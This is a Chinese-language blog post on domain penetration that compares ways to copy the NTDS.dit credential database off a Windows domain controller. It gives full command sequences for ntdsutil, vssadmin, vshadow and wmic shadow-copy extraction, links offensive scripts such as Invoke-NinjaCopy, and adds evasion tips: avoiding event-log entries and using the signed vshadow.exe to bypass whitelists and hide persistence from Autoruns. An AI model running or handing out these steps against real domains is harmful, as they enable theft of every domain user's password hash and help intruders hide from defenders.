域渗透——获得域控服务器的 NTDS.dit 文件

发布于 2024-11-20 14:48:46 字数 7301 浏览 0 评论 0

0x00 前言

在之前的文章《导出当前域内所有用户 hash 的技术整理》曾介绍过通过 Volume Shadow Copy 实现对 ntds.dit 文件的复制, 可用来导出域内所有用户 hash。本文将尝试做系统总结,总结多种不同的方法。

0x01 简介

本文将要介绍以下内容:

  • 多种实现方法
  • 比较优缺点

0x02 通过 Volume Shadow Copy 获得域控服务器 NTDS.dit 文件

测试系统:

  • Server 2008 R2 x64
  • Server 2012 R2 x64

Volume Shadow Copy Service:

  • 用于数据备份
  • 支持 Windows Server 2003 及以上操作系统
  • 系统默认在特定条件下自动创建数据备份,如补丁安装后。在 Win7 系统大概每隔一周自动创建备份,该时间无法确定
  • 禁用 VSS 会影响系统正常使用,如 System Restore 和 Windows Server Backup

1、ntdsutil

域环境默认安装

支持系统:

  • Server 2003
  • Server 2008
  • Server 2012

常用命令:

(1) 查询当前快照列表

ntdsutil snapshot "List All" quit quit

(2) 查询已挂载的快照列表

ntdsutil snapshot "List Mounted" quit quit

(3) 创建快照

ntdsutil snapshot "activate instance ntds" create quit quit

(4) 挂载快照

ntdsutil snapshot "mount GUID" quit quit

(5) 卸载快照:

ntdsutil snapshot "unmount GUID" quit quit

(6) 删除快照

ntdsutil snapshot "delete GUID" quit quit

实际测试:

(1) 查询当前系统的快照

ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

(2) 创建快照

ntdsutil snapshot "activate instance ntds" create quit quit

guid 为 {6e31c0ab-c517-420b-845d-c38acbf77ab9}

如下图

Alt text

(3) 挂载快照

ntdsutil snapshot "mount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit

快照挂载为 C:\$SNAP_201802270645_VOLUMEC$\ ,如下图

Alt text

(4) 复制 ntds.dit

copy C:\$SNAP_201802270645_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

(5) 卸载快照:

ntdsutil snapshot  "unmount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit

(6) 删除快照

ntdsutil snapshot  "delete {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit

2、vssadmin

域环境默认安装

支持系统:

  • Server 2008
  • Server 2012

常用命令:

(1) 查询当前系统的快照

vssadmin list shadows

(2) 创建快照

vssadmin create shadow /for=c:

(3) 删除快照

vssadmin delete shadows /for=c: /quiet

实际测试:

(1) 查询当前系统的快照

vssadmin list shadows

(2) 创建快照

vssadmin create shadow /for=c:

获得 Shadow Copy Volume Name 为 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12

如下图

Alt text

(3) 复制 ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\windows\NTDS\ntds.dit c:\ntds.dit

(4) 删除快照

vssadmin delete shadows /for=c: /quiet

3、vshadow.exe

系统默认不支持,,可在 Microsoft Windows Software Development Kit (SDK) 中获得该工具

注:64 位系统需要使用 64 位的 vshadow.exe

不同系统可供使用的 vshadow.exe 下载地址:http://edgylogic.com/blog/vshadow-exe-versions/

常用命令:

(1) 查询当前系统的快照

vshadow.exe -q

(2) 创建快照

vshadow.exe -p -nw C:

参数说明:

-p persistent,备份操作或是重启系统不会删除

-nw no writers,用来提高创建速度

C: 对应 c 盘

(3) 删除快照

vshadow -dx=ShadowCopySetId

vshadow -ds=ShadowCopyId

实际测试:

(1) 查询当前系统的快照

vshadow.exe -q

(2) 创建快照

vshadow.exe -p -nw C:

获得 SnapshotSetID 为 {809b77cc-cf9a-4101-b802-08e97d10e613}

获得 SnapshotID 为 {ef99d039-9a38-4e8b-9f57-e3113d464f76}

获得 Shadow copy device name 为 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10

如下图

Alt text

(3) 复制 ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit c:\ntds.dit

(4) 删除快照

vshadow -dx={809b77cc-cf9a-4101-b802-08e97d10e613}

or

vshadow -ds={ef99d039-9a38-4e8b-9f57-e3113d464f76}

4、vssown.vbs

可供参考的下载地址:https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

本质上是通过 wmi 对 ShadowCopy 进行操作

通过 wmi 查询快照信息:

wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ShadowCopy GET DeviceObject,ID,InstallDate /FORMAT:list

powershell 实现:https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1

扩展

1、日志文件

调用 Volume Shadow Copy 服务会产生日志文件,位于 System 下,Event ID 为 7036

执行 ntdsutil snapshot "activate instance ntds" create quit quit 会额外产生 Event ID 为 98 的日志文件

如下图

Alt text

2、访问快照中的文件

查看快照列表:

vssadmin list shadows

无法直接访问 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12 中的文件

可通过创建符号链接访问快照中的文件:

mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\

如下图

Alt text

删除符号链接:

rd c:\testvsc

利用思路:

如果当前系统存在快照文件,可对系统的历史文件进行访问

3、利用 vshadow 执行命令

参考资料:https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-evasion-persistence-and-active-directory-database-extraction/

执行命令:

vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:

执行后,后台存在进程 VSSVC.exe,同时显示服务 Volume Shadow Copy 正在运行,需要手动关闭进程 VSSVC.exe

注:手动关闭进程 VSSVC.exe 会生成日志 7034

利用思路:vshadow.exe 包含微软签名,能绕过某些白名单的限制。如果作为启动项,Autoruns 的默认启动列表不显示

0x03 通过 NinjaCopy 获得域控服务器 NTDS.dit 文件

下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

没有调用 Volume Shadow Copy 服务,所以不会产生日志文件 7036

0x04 小结

本文整理了多种获得域控服务器 NTDS.dit 文件的方法,测试使用环境,比较优缺点。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

踏月而来

暂无简介

0 文章
0 评论
23 人气
更多

推荐作者

有深☉意

文章 0 评论 0

硪扪都還晓

文章 0 评论 0

DS

文章 0 评论 0

我也只是我

文章 0 评论 0

TangBin

文章 0 评论 0

橪书

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文